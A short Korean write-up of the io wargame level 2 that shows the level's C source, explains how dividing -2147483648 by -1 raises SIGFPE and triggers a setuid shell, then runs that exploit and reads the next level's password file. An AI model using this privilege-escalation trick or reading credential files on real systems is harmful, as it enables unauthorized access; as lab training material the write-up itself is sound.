Sanguine 2014. 5. 12. 21:10

level2@io:/levels$ cat level02.c

//a little fun brought to you by bla


#include <stdio.h>

#include <stdlib.h>

#include <signal.h>

#include <setjmp.h>


void catcher(int a)

{

        setresuid(geteuid(),geteuid(),geteuid());

        printf("WIN!\n");

        system("/bin/sh");   

        exit(0);

}


int main(int argc, char **argv)

{

        puts("source code is available in level02.c\n");


        if (argc != 3 || !atoi(argv[2]))  //인자를 2개 줘야하고 2번쨰인자가 0이면 안된다.

                return 1;

        signal(SIGFPE, catcher);   //SIGFPE 시그널 발생시 catcher 함수 실행 

        return abs(atoi(argv[1])) / atoi(argv[2]);     //vuln@@@@@

}




sigfpe는 실수연산시 발생하는 오류이다.

SIGFPE
The SIGFPE signal is sent to a process when it executes an erroneous arithmetic operation, such as division by zero (the name "FPE", standing for floating-point exception, is a misnomer as the signal covers integer-arithmetic errors as well).[2]


0으로 나누거나 숫자의 표현범위를 넘엇을떄 등등 발생하는데, 

 abs(atoi(argv[1])) / atoi(argv[2]);  다음의 식에서 SIGFPE를 발생시켜야 한다. 

argv[2]가 0이 될수 없으므로, 정수형의 표현범위를 넘기는 방법으로 공략해보겠다.


int형의 표현숫자 범위는 다음과 같다.

-2,147,483,648  ~  2,147,483,647     ( 2-31 ~ 231-1 )


그렇다면 나눗셈으로 표현범위를 넘기는방법은 어떤것이 있을까.


-2147483648/-1을 한다면 나눗셈의 결과는 2147483648이 되고 이는 정수형으로 표현할수 없기때문에

sigfpe가 발생한다.





level2@io:/levels$ ./level02 -2147483648 -1

source code is available in level02.c


WIN!

sh-4.2$ cat /home/level3/.pass

Ib3F7i7FqjziuDOBKi